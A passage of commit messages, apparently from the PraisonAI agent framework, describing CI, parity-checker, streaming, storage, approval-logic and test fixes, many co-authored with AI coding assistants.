twenty lines above `Agent.__init__` in agent.py, and the gate went red without
a single parameter changing.
That is the same "a number moved, nothing happened" noise this checker was
built to remove -- the reason the tracker's `lastUpdated` stopped being
committed on its own.
`--check` now compares the report with `file.ext:123` masked to `file.ext`, so
a pure line shift passes while a changed parameter, a changed waiver or a
surface that moved to a different file still fails. `--write` records the real
numbers, and update-parity-tracker.yml now regenerates the signature report on
push to main alongside the name tracker, so the committed locations stay true
without any pull request having to carry the churn.
Four paired tests cover it: a line shift is not staleness; a renamed parameter
is; a surface pointing at a different file is; and a bare number in prose is
left alone.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* fix(mobile): the Pages skip-notice never runs, so main goes red on every push
`mobile-web.yml`'s deploy job checks whether Pages is enabled and, when it is
not, prints a notice and skips -- deliberately, so main stays green until a
repository admin flips the switch. The logic is right and it never executes.
A job declaring `environment: github-pages` cannot START until that
environment exists. With Pages off, the runner fails the job outright before
any step, and every carefully written skip inside it is unreachable.
Measured on main, run 33730322658:
"deploy to GitHub Pages" conclusion: failure steps: 0
startedAt 07:54:29Z completedAt 07:54:30Z
Zero steps. One second. The guard was placed after the thing that fails.
The readiness check is now its own job with no `environment:` and no
preconditions, exposing `ready` as an output; the environment-bearing deploy
job is gated on it and so is never scheduled unless it can succeed. Same
notice, same behaviour when Pages is on, and main stays green when it is off
-- which was the intent all along.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(mobile): grant pages-ready read access so an enabled site actually deploys
The pages-ready job calls `gh api repos/<owner>/<repo>/pages`, which needs
Pages read. With only `contents: read` the permission was `none`, so on a
private repo the request is rejected, `|| echo '{}'` swallows it, build_type
falls to "none", and deploy SKIPS even when Pages is enabled -- the silent
skip this file exists to prevent. Flagged by CodeRabbit and Greptile.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Update stale GitHub MCP tool names (add_issue_comment, pull_request_read),
grant merge gate assess the PR read/comment tools, relay Opus verdicts from
assess output when MCP post fails, and run fallback whenever no PR comment exists.
Co-authored-by: Cursor <[email protected]>
* fix: wire clarify tool into interactive CLI toolset (fixes#4762)
Add a gated `clarify` tool group to the terminal product's default
interactive toolset so an agent can pause and ask one focused question
instead of silently guessing on ambiguity. Reuses the existing core
ClarifyTool + create_cli_clarify_handler; no new core surface.
The tool is only offered when a live interactive channel exists (stdin/
stdout TTY, not JSON/headless/CI, honouring PRAISON_NO_CLARIFY and
PRAISON_TOOLS_DISABLE=clarify). In headless runs it is withheld so the
core best-judgment fallback keeps scripted runs from blocking.
Co-authored-by: MervinPraison <[email protected]>
* fix: gate clarify tool off in CI and repair union test (#4762)
- Withhold the interactive clarify tool when a truthy CI env var is set:
CI runners can allocate pseudo-terminals, so both streams report as TTYs
while no human can answer — the core best-judgment fallback now applies
instead of blocking on input().
- Update wrapper test_interactive_group_is_union to include the clarify
group (interactive membership intentionally grew).
- Catch ImportError (not blind Exception) on the clarify availability guard
so real import regressions fail the suite instead of silently skipping.
- Add a CI-gating test and clear CI in TTY-positive tests.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: make LSP server registry configurable via user config (fixes#4763)
Add resolve_servers() in lsp/config.py to deep-merge a user-supplied
server mapping over DEFAULT_SERVERS (override built-ins, add new
languages). Route LSPConfig, detect_language, detect_root_uri and probe
through the merged registry, and thread an optional servers mapping from
LSPClient. With no user config behaviour is byte-for-byte unchanged; a
configured sixth language now resolves instead of raising.
Co-authored-by: MervinPraison <[email protected]>
* fix(lsp): drop inherited args on command-only server override
When a user overrides only `command` for a language in the LSP registry,
`resolve_servers` no longer leaks the replaced server's built-in args
(e.g. `--stdio` from typescript-language-server) to the replacement
binary. Args are treated as a unit with command.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix(praisonai): cross-loop A2U delivery, live token read, wired registry DI (fixes#4758)
Gap 1: A2UEventBus now records each queue's owning loop at consume time and
delivers cross-loop events via call_soon_threadsafe, so a sync publish from the
async-bridge thread no longer mutates a Uvicorn-loop Future off-thread (silent
event loss / InvalidStateError).
Gap 2: verify_token live-reads CALL_SERVER_TOKEN from the environment per
request instead of capturing it at import, so late-loaded .env files and runtime
rotation work regardless of which entry point mounted the router. Removed the
cross-module reach-in in api/call.py.
Gap 3: The FastAPI routes now resolve their AgentRegistry via a
_registry_dependency Depends() so app.dependency_overrides can bind a per-tenant
registry; resolve_session_agent takes the registry explicitly.
Co-authored-by: MervinPraison <[email protected]>
* fix(praisonai): stop A2U pre-consumer event loss and cross-loop overcount
Addresses the two P1 issues from Greptile on PR #4761's A2U event bus:
- Pre-consumer event loss: events published after subscribe() but before a
consumer binds a loop-owned queue (the two-request POST /subscribe ->
GET /events/sub/{id} flow) were silently dropped. Add a bounded per-sub
pre-bind deque (capped at _QUEUE_MAX) that publish() buffers into, and
drain it into the asyncio.Queue on first consume in _bind_queue().
- Cross-loop delivery overcount: publish() incremented its returned count when
a cross-loop put was merely scheduled via call_soon_threadsafe, even though
the deferred put could hit QueueFull and drop. Carry the real outcome back
on a concurrent.futures.Future and await it (wrapped) so the count — and
publish_sync()'s blocking return — reflects events actually enqueued.
Verified: pre-bind buffer drains in order; cross-thread publish_sync delivers
end-to-end with an accurate count; a full queue on the cross-loop path now
counts 0 instead of over-reporting.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix(parity): make the Python<->TS parity tracker a gate, and check signatures
The exported-name tracker only ever regenerated and auto-committed; its
--check mode could not pass off the GitHub runner (absolute paths in the
JSON), 26 of its last 30 commits changed only the date, `export *` barrels
were invisible, and a shim module written to satisfy name matching counted
as "done" for 56 features. Rust reported 162% parity beside 129 gaps.
Names layer (generator.py, typescript_extractor.py):
- repo-relative paths; lastUpdated preserved when content is unchanged
- export * resolution, camelCase fallback, TS alias table, one presence
rule shared by summary and gap matrix
- rows provided only by src/parity/index.ts are STUB, not DONE
- Rust status/percentage derived from the gap matrix
- personal fallback path replaced by _paths.find_repo_root (raises)
- Rust file scan sorted so output is stable across OSes
Signatures layer (new _dev/parity/signatures/):
- surface.yaml (10 curated surfaces), rules.yaml (case, aliases,
flattening, default equivalences), waivers.yaml (168 baseline entries)
- py_extract.py (AST only), ts_extract.mjs (TypeScript compiler API,
exit 2 when the compiler is missing, never an empty pass)
- compare.py: --write/--check/--diff/--baseline; fails on un-waived
drift, expired or stale waivers, or a run that compared nothing
- generates src/praisonai-ts/SIGNATURE_PARITY.md + signature-parity.json
CI:
- parity-gate.yml: two named PR jobs (names, signatures) that fail on drift
- update-parity-tracker.yml: fixed Rust path filter, added generator and
CLI feature paths; still regenerates on push to main
Tests: 19 -> 110, each behavioural test paired with a control.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* feat(parity): flatten options-object members into method signatures; add --prune
A TS method that takes an options interface (chat(prompt, options?: AgentChatOptions))
now reports the interface members as parameters, with defaults read from
options.x ?? v in the body, so Python keyword arguments map one to one.
--prune removes waivers whose gap has been closed.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(parity): read LLM/tool ctor defaults; treat Python None as equivalent to an empty TS literal
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(parity): waive tool().description default with its reason; regenerate report
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(parity): False≈undefined and 0.0≈0 default equivalences
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* ci(parity): the names check now lives in update-parity-tracker.yml (from #4689); parity-gate keeps signatures
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* ci(parity): keep the names check in parity-gate (the merge dropped the PR job from update-parity-tracker.yml)
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* feat(ts): port every Python constructor/method parameter of the 10 core surfaces
Agent, AgentTeam, Task, Agent.chat/start, AgentTeam.start, Handoff, LLM,
Session and tool() now accept every Python parameter under the camelCase
convention the signature checker enforces. Options with an existing TS
capability are wired (memory, knowledge, guardrails, rules, hooks, context,
web, skills, planning, retry, handoffs, reasoningEffort, LLM request fields,
tool availability/retry/approval/toModelOutput, Task status/callbacks/output).
Options with no TS implementation yet are accepted and announced once via
notYetHonoured() so they are never silently ignored.
Signature parity: 196/196 parameters present (was 47), 27 waived default
or required-ness differences, each with its reason.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* chore(parity): prune closed waivers, give the 20 remaining ones their real reasons, regenerate
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* feat(ts): every Python SDK export now has a real TypeScript implementation
The name tracker reported 115 gaps and 56 "stub exported" rows, the latter
served only by src/praisonai-ts/src/parity/index.ts -- a 2,011-line module
whose header says export names must match Python "for parity tracker
detection". That module is deleted. Every name it claimed is now provided by
a real implementation, and the tracker reads 0 gaps, 0 stubs.
Ported from praisonaiagents: workflow control flow (If/Parallel/Route/Include,
when/if_/include, MAX_NESTING_DEPTH, YAMLWorkflowParser), the error hierarchy,
run outcomes, managed events, config feature types, context compaction policy,
goal engineering, escalation (doom-loop detector, pipeline, observability),
toolsets, model-harness profiles, the runtime and memory-adapter registries,
knowledge indexing and store protocols, learn (manager, stores, protocols),
skills discovery/validation, platform protocols (bots, frameworks, CLI
backends, approval backends, gateway event types, A2UI), structured logging,
version, retry backoff and heartbeat.
52 of the stub rows were shadowing a real implementation that already existed:
index.ts exported the shim AFTER `export * from`, and an explicit export wins
silently, so `import { Session }` returned a 40-line stub. Those are re-pointed
at their real modules and pinned by an export-identity test.
Also honoured, rather than merely accepted: handoff tool policy and parallel
handoffs; LLM tool loop, event hooks, failover, prompt caching, web fetch;
tool availability, retry policy, approval and toModelOutput.
Two defects found by the new tests, both real: the learn manager never stripped
the sqlite:/// prefix from db_url (Python does, manager.py:189-191), so a
configured database was ignored; and a request body aliased the tool loop's
live message array, so a sent request kept changing after it was sent.
Checker: ts_extract now reports a constructor's positional parameters and the
options parameter under its own name, so `message` and `config` match instead
of reading as missing. Five surfaces added (GoalEngineer, DoomLoopDetector,
EscalationPipeline, ToolsetRegistry.register_toolset, PraisonAIError): 15
surfaces, 219 parameters, 0 missing, 21 waived with reasons.
Tests: 1,998 TypeScript unit tests and 119 Python parity tests pass.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(ts): keep the Node-only skills module off the agent's webview graph
Wiring Agent's `skills` option pulled src/skills into the agent's module
graph, and that module imports fs/path at its top level. scripts/webview-gate.mjs
caught it: dist/esm/agent/simple.js and dist/esm/mobile.js both failed with
"Node builtins imported STATICALLY", which in a webview is a blank screen at
import time with no error boundary (issue #4437).
The skills module is now loaded through a computed specifier, so the bundler
leaves it as a runtime import and nothing loads it unless an agent declares
`skills` -- the gate's own advice, "move the module behind a Node-only entry
point". Two spellings are tried so the same code resolves from the ESM dist,
the CJS dist and ts-jest against the sources, and a failure to load says so
instead of surfacing as a missing export.
Also fixes the test count assertion in the checker's config test, which pinned
an exact number of curated surfaces and so broke whenever one was added.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* chore(parity): regenerate the signature report after the skills-loader edit shifted line numbers
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(ts): keep the new agent options off praisonai/mobile's bundle budget
Wiring Agent's `web` and `outputPydantic` options, and re-basing the handoff
errors, pushed praisonai/mobile from 1459.6kB of lazy chunks to 1618.1kB --
past its 1600kB budget -- and put four provider SDKs that are not dependencies
of this package on the graph as bare specifiers a webview cannot resolve. Both
failed the mobile and desktop build gates. Measured against origin/main rather
than guessed: the growth was 62.3kB of zod-to-json-schema plus 179kB of source.
Four changes, each keeping a module off the graph until something asks for it:
- The web-search providers load on demand through a computed specifier, so
@tavily/ai-sdk and friends are no longer bundled or reported unresolvable.
`web` now attaches its tool on the first turn instead of in the constructor,
which the test asserts, with a control that nothing is registered before it.
- zod-to-json-schema and zod are imported through computed specifiers too.
Neither is a dependency of this package; the existing try/catch already
treats them as optional, and bundling one cost 62.3kB for a conversion that
only runs when a caller passes a zod schema.
- CompactionRoute and CompactionStrategy move to context/compaction-types.ts.
ContextManager needs the strategy names and nothing else, and importing them
from policy.ts dragged its model tables and token estimators along (24kB).
- The error base (kinds, context protocol, PraisonAIError) moves to
errors-base.ts, which agent/handoff.ts imports instead of the barrel.
Result: 1526.9kB of 1600kB, no unresolvable imports, and the webview gate
reports OK for every entry. praisonai-ts 2,007 tests and praisonai-mobile
1,372 tests pass; both parity gates still pass.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(ts): close escalation/approval/autonomy correctness and security gaps
- approval: a partial `{ approved: false }` callback result no longer flips to
an approval (non-empty object was truthy); normalise via approvalDecision
- approval: ConsoleBackend readline resolves the answer before rl.close() so
the synchronous close event no longer rejects every answer as EOF
- autonomy: AUTO_EDIT_TOOL_PATTERN no longer auto-approves unrelated tools via
an open suffix (write_to_s3, get_secret, update_iam_policy); closed suffix set
- autonomy: actionKey serialises nested args (recursive stable stringify) so
distinct tool calls differing only in a nested field don't collide
- escalation: DIRECT stage strips tools for the call (no-tools contract) and
restores them in finally
- escalation: a failed AUTONOMOUS stage records an error and success now
requires the final stage to have succeeded (no false success)
- escalation: DoomLoopConfig rejects non-positive/non-integer count and
chunk-size options (contentChunkSize:0 caused an infinite loop)
- tests: regression coverage for each fix
Co-authored-by: Mervin Praison <[email protected]>
* chore(parity): regenerate signature report after doom-loop ctor line shift
The threshold-validation added in d11b235a moved DoomLoopDetector's
constructor line, so the committed SIGNATURE_PARITY.md/.json drifted and
the signatures CI gate failed. Regenerated with --write; 0 missing, 21
waived, no new gaps or waivers.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Fable 5.1 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: deferred re-injection, achat history rollback, hierarchical double-count (fixes#4738)
- Gap 1: deferred tool-result re-injection now appends to the Agent's own
chat_history (the list replayed on follow-up turns) via a wired
_agent_history_append callback, instead of the LLM's write-only chat_history
that nothing reads.
- Gap 2: achat()'s two generic exception handlers now roll back chat_history,
matching the sync path and achat()'s own guardrail handler, so a failed async
turn no longer leaves a dangling unanswered user message.
- Gap 3: hierarchical scheduling counts completed_count only on first
transition to completed, preventing a manager re-selecting an already-completed
task from advancing the counter and skipping genuinely unexecuted tasks.
Co-authored-by: MervinPraison <[email protected]>
* fix: seed hierarchical completion count with pre-completed tasks
When re-running the same hierarchical team, tasks already marked
completed were never counted toward completion (they hit the
re-selection branch), so completed_count could never reach total_tasks
and the loop only terminated via manager "stop" or max iterations.
Seed completed_count from tasks already completed at loop start and
track counted ids in a set for idempotent counting in both
hierarchical() and ahierarchical(). Adds regression tests.
Co-authored-by: Mervin Praison <[email protected]>
* fix: exclude stale synthetic managers from hierarchical completion count
Each hierarchical run injects a fresh synthetic manager_task via add_task and
never removes prior ones, so a re-run of the same team leaves stale managers in
self.tasks. total_tasks = len(self.tasks) - 1 subtracted only the current
manager, so stale managers inflated total_tasks and made completed_count reach
total_tasks unreachable — the loop could only exit via manager stop / max
iterations. Track all injected manager ids on the Process and exclude the full
set (by id, keeping user tasks named "manager_task" delegable) from total_tasks,
the seeded completion count, the tasks summary, and delegable ids. Applied to
both hierarchical() and ahierarchical(); adds sync+async regression tests.
Fixes Greptile P1 (stale manager prevents completion).
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
`StoragePort` had one implementation, `localStorage`, and `platform.ts`
handed it to the Tauri build too. In WKWebView that store is EVICTABLE
under storage pressure: the user does nothing wrong, opens the app, and
their history is gone with no error anywhere. Android's WebView survives
that but is emptied by ordinary "clear cache" flows. Meanwhile
`en.crashed` tells the user "Something went wrong. Your conversations are
saved." That sentence was false on a phone.
The port's own header names the intended fix -- serialisation lives in
`chat/repository.ts` so the backing store can be swapped with no format
change -- and this takes that path.
- `src-tauri/src/store.rs`: one file per key under the app's data
directory. The write is temp -> fsync -> rename -> fsync the directory,
which is what the port's atomicity clause requires; a plain `fs::write`
truncates in place and loses the whole conversation when iOS kills a
suspended app mid-write. NOT tauri-plugin-store: its `save()` is exactly
that `fs::write`, over one blob holding every chat.
- `adapters/src/tauri/storage.ts`: the five commands, over
`bridge.invokeStrict` -- a new strict sibling of `invoke`, because the
forgiving one resolves to `null` on failure and `null` is `read`'s word
for "no such key". Built on that, a failing disk presents as an empty
chat list and the next save writes over what is still there.
- `app/src/platform.ts`: `storageFor(kind, ...)`, the per-platform default
in one named function, following `defaultEngineIdFor`.
- `adapters/src/storage/migrate.ts`: a one-time copy out of localStorage,
which never overwrites, never deletes the source, and marks itself done
in the target. Without it the upgrade empties every existing install --
indistinguishable, to the user, from the bug being fixed.
- The StoragePort contract gains an atomicity case and three relaunch
cases, each with a break mode (`storage_torn_write`,
`storage_forgets_on_relaunch`), and the ledger count moves 15 -> 17+3.
- `app/src/crash-recovery.test.ts` proves the crash screen's promise by
relaunching the app over the same bytes, and pins its boundary: a turn
in flight was never on disk, by design.
- `tools/storage-seam.test.mjs`: the command names, the namespaces, the
handler registration, and the write path, compared across the two
languages -- the same argument as the shell seam.
28 mutations, 28 killed. Two of the survivors along the way were false
greens in the new gates themselves: `app_data_dir()` matched a doc
comment, and the directory-flush check found `clear`'s identical call
after deleting `write`'s. Both are now scoped to code, and to the one
function.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* fix(llm): make tool calls survive get_response_stream
Two defects made streaming tool calls do nothing, and they compounded into
a single symptom: a turn that needed a tool returned an empty answer.
1. `_create_tool_message` was called twice from the streaming tool loop and
was never defined anywhere in the package. The first tool result raised
AttributeError. The broad `except Exception` around that loop swallowed
it, logged "Streaming failed with unexpected error", set
use_streaming = False, and dropped through to the non-streaming branch.
2. That branch read `message.content` and nothing else. It still sent
`tools=` in the request, so the model replied with `tool_calls` and empty
content -- and every call was discarded. The tool never ran and nothing
was yielded.
The second branch is not an edge case. Anthropic, Gemini and Ollama all
report False from `_supports_streaming_tools()`, so they take it on every
turn that carries tools; and after (1), so did everyone else.
Reproduced before the fix, with a stubbed transport:
anthropic/claude-sonnet-4 chunks=[] tool executed 0 times
gpt-4o-mini AttributeError: 'LLM' object has no
attribute '_create_tool_message'
and after:
anthropic/claude-sonnet-4 chunks=['It is sunny in Paris.'] tool ran 1x
gpt-4o-mini tool ran 1x, 2 round trips
`_create_tool_message` is now a real method mirroring the formatting the
non-streaming loop already uses, Ollama's natural-language variant included.
The fallback runs a bounded tool loop: execute, append the results, ask
again, stop at max_iter. A failing tool is reported to the model rather than
aborting the run, matching the streaming loop.
Two existing tests covered the streaming loop by assigning
`_create_tool_message` onto the instance themselves, so they passed against
a method production did not have. The new tests never patch it; removing the
method turns them red.
4 mutations killed. 235 tests pass across tests/unit/llm and
tests/unit/streaming; the one failure there, test_rate_limit_backward_compat,
is pre-existing on main (part of the 109 in #4748).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(llm): enforce max_tool_calls_per_turn in streaming fallback loop
The non-streaming fallback in get_response_stream dispatched every
returned tool call bounded only by max_iter, ignoring the
max_tool_calls_per_turn guardrail that the streaming loop and
get_response both enforce. Apply the same per-turn limit (stop when
reached, truncate an over-limit batch) and add a regression test.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The Default model picker offered eight suggestions. Half of them cannot
work in the shipped app:
ollama/llama3.2 rejected outright -- #4722 added a guard
refusing slashed ids, because the desktop
venv has no litellm. The picker suggested a
value the engine now refuses.
claude-sonnet-4-20250514 bare ids, so they take the plain-OpenAI
claude-opus-4-20250514 client path. With no Base URL set they go
gemini-2.0-flash to api.openai.com carrying the user's
OpenAI key, and fail with an OpenAI error
naming platform.openai.com -- which tells
the user nothing about what went wrong.
These are not unreachable models: the engine reaches any OpenAI-compatible
endpoint with a bare id plus a Base URL override, which is what the
model_needs_litellm guard already tells the user. What was wrong was
offering them as one-click suggestions, where nothing says a Base URL is
required.
The suggestion list is now the ids that work with no further configuration,
and the field description states the supported route to any other provider.
The combobox stays free text, so a user with a Base URL can still type any
id.
All three registry copies updated; the drift test keeps them in step.
190 frontend tests and 240 engine tests pass.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
#4729 added context compaction to `_start_stream_impl`, but only inside the
OpenAI-client branch. The custom-LLM branch built `stream_history` straight
from `self.chat_history` and streamed it whole, so a configured
ContextManager -- auto-enabled whenever tools are present -- was silently
skipped for every agent routed that way.
The trigger is the routing flag, not the vendor: `llm="openai/gpt-4o-mini"`
takes this branch too, so this was not confined to Anthropic or Ollama users.
Measured against a 128k-token model with an 801-message history:
main sent 801 messages (~1.7M tokens -- certain provider rejection)
with fix sent 48 messages
A history that fits is left alone: 121 messages at ~84k tokens still sends
all 121.
The system prompt is now built once and reused by both the compaction call
and the stream call, rather than being constructed twice.
test_stream_context_management.py, added with #4729, hardcodes
`_using_custom_llm = False` -- which is exactly why it stayed green while
this half was broken. The new test sets it True; reverting the fix turns it
red.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* fix(tests): assert the approval resolver's real backend, not a stale name
Three TestResolveApprovalBackend tests have been red on main:
assert 'InteractiveCLIApprovalBackend' == 'ConsoleBackend'
`resolve_approval_backend("console")` stopped returning ConsoleBackend when
resolver into praisonai-bot behind the praisonai.cli.features.approval shim.
The behaviour change was deliberate; the assertions were never updated.
Checked before changing them, because a missing method looked like it could
be a real defect: InteractiveCLIApprovalBackend has no `request_approval_sync`
while ConsoleBackend does. It is not a defect -- every resolver-fed call site
probes with hasattr first (approval/registry.py:515,
agent/tool_execution.py:1722) and falls back, and the one unguarded caller,
praisonai_code/cli/features/job_workflow.py:669, constructs ConsoleBackend
itself rather than resolving one.
Asserting a class name by string is what let this rot, so the tests now assert
identity against the imported class plus the one contract method every backend
must honour.
Nothing caught this because praisonai-agents' unit tree is run by no CI
workflow -- see #4748.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* test(approval): assert request_approval is a coroutine, not just callable
The async approval path in tool_execution.py awaits backend.request_approval,
so the contract is that it must be a coroutine function. Tighten the assertion
from callable(...) (which a sync def also satisfies) to
inspect.iscoroutinefunction(...), per CodeRabbit review.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(tests): restore the shell-timeout kill guards (fixes#4724)
Two TestShellStreaming tests have been red on main in every run:
_raise_timeout() takes 3 positional arguments but 4 were given
`_communicate_streaming` gained a `cancel_event` parameter in 1c4ae5dae
("abort in-flight tool body on cooperative interrupt", #4596) and
execute_command passes it positionally (shell_tools.py:144). The two
monkeypatched stand-ins were never updated, so calling them raised
TypeError.
The failure is worse than a red test. execute_command catches the
TypeError and reports a failed command, so both tests satisfied their
`success is False` and `exit_code == -1` assertions for entirely the
wrong reason -- the timeout path they exist to guard was never reached.
The kill behaviour has therefore been unguarded since #4596: nothing
would have caught a real timeout that stopped killing the child, or a
drain timeout that started killing one that had already exited.
Both stand-ins now mirror the real signature. Verified by mutation:
removing the kill on `subprocess.TimeoutExpired` and adding one on
`_StreamDrainTimeout` each turn the suite red; before this change,
neither did. 13/13 pass.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* test: spy on _kill_process_tree in drain-timeout guard (fixes#4724)
The drain-timeout guard asserted on _FakeProc.kill(), but with psutil
installed an erroneous _kill_process_tree(process) resolves pid=-1 to a
psutil.NoSuchProcess and returns without ever calling _FakeProc.kill(),
so the guard would miss the regression. Patch _kill_process_tree directly
so the assertion catches every kill attempt regardless of psutil.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): stop main's platform build cancelling itself
#4746 added `push: branches: [main]` so the iOS and Android builds would
finally be gated on main rather than only on PRs. They are not, because
`cancel-in-progress: true` applies to main too, and merges land faster than
a ~3 minute build on two runners completes.
Measured, not predicted. The first two runs the new trigger ever produced
were both cancelled by the following merge before either finished:
33729635382 push fa7caf775 cancelled (both jobs)
33730049750 push e8006cc9c cancelled (both jobs)
So the trigger existed and proved nothing -- which is precisely the
blindness it was added to remove, reintroduced one line lower down.
On a PR the behaviour is right: only the tip matters. On main every commit
is a candidate release and wants its own answer, so cancellation is now
scoped to non-main refs.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(mobile): give each main SHA its own concurrency group so no commit's build is dropped
cancel-in-progress: false spares only the running run, not the single
pending slot in the shared main group; a burst of merges still dropped
the middle commit. Per-SHA grouping on main gives every commit its own
run. PRs keep the per-ref superseding group.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Stop scan kickoff text from counting as APPROVE, require Claude finished after
FINAL, dedupe scan comments, disable re-dispatch from scan, and skip dispatch
when GitHub core rate limit is low.
Co-authored-by: Cursor <[email protected]>
* fix(tests): repair the two permanently-red TestShellStreaming timeout tests (fixes#4724)
test_real_timeout_kills_running_process and
test_drain_timeout_does_not_kill_exited_process have failed on every run of
main since _communicate_streaming grew a fourth positional argument
(cancel_event, added in 1c4ae5dae). Their monkeypatched doubles still took
three, so the patched hook raised TypeError before its body ran and neither
test exercised the timeout/kill path it was written for.
- Update both doubles to the real signature. Deliberately not *args: *args is
exactly what would have silently absorbed cancel_event, leaving the tests
green while they tested a stale contract.
- Add a shared _assert_fake_matches_real() guard plus an "the hook actually
ran" counter, so the next signature drift fails with a message that names
the drift instead of an unrelated assertion.
- shell_tools' catch-all handler now names the exception type and logs a
traceback. It still returns a result dict rather than propagating, because
genuine caller-input failures land here too (a non-string command, a
non-string env value both raise TypeError) and the model must be able to
recover from those. But "Error executing command: TypeError: ..." plus a
traceback makes an internal programming error distinguishable from a command
failure — the ambiguity that kept this issue being re-diagnosed.
Mutation-checked: removing the kill from the real-timeout path fails
test_real_timeout_kills_running_process; adding a kill to the drain-timeout
path fails test_drain_timeout_does_not_kill_exited_process; adding a fifth
parameter to _communicate_streaming fails both with the drift message.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(tests): drop stale variant-flag tests removed with the dead knob
ba7019534 deleted InteractiveConfig.variant (a reasoning-effort knob with
zero consumers) but left three test expectations behind, turning smoke CI
permanently red on this branch. Remove TestVariantFlag and the "variant"
entry from the flag-parity list so the suite matches the intentional API.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Fix the failing unit tests in src/praisonai-agents/tests/unit that the
issue identified as red on main. All were stale tests that never followed
intentional source changes:
- approval/test_cli_approval_resolver.py: console/true/Console now resolve
to InteractiveCLIApprovalBackend (was renamed from ConsoleBackend).
- agent/test_tool_resolution_boundary.py: local _HookRunner stub lacked the
.registry attribute the real HookRunner exposes; add a no-hooks registry.
- agent/test_runtime_integration.py: _resolve_runtime_config returns a
normalised copy, so assert == instead of identity (is).
- compaction/test_compaction.py: await the async compact_async coroutine in
two tests; supply a message formatter for the now protocol-driven
_format_messages_for_summary.
- context/test_context_param.py: widen the init-overhead timing bound to
avoid flakiness on loaded CI runners.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* feat(mobile): the web app is a third platform that actually boots in a browser
iOS and Android build in CI. The web build produced files and nobody had ever
watched one load. This makes it a real target: a PWA that boots, installs, and
survives both going offline and being redeployed -- proved in a headless
browser rather than asserted from a file listing.
What ships:
- app/manifest.webmanifest, app/register-sw.js, app/sw.js. Every URL is
relative, because GitHub Pages serves a project site from /PraisonAI/ and
an absolute /app.js resolves to the wrong site there.
- A CSP meta tag in index.html. tauri.conf.json's csp reaches only the Tauri
shell; a browser sees this tag and nothing else. Tauri APPENDS its own
rather than replacing it, so the shell enforces both and this one must not
be tighter than Tauri's where the IPC channel needs room.
- build-webview.mjs writes the worker: the precache list is what the build
emitted and the cache name is a hash of those bytes, so a new build is a
new cache and the old one is deleted on activate.
- .github/workflows/mobile-web.yml: build, boot proof, dist artifact, and a
Pages deploy on main.
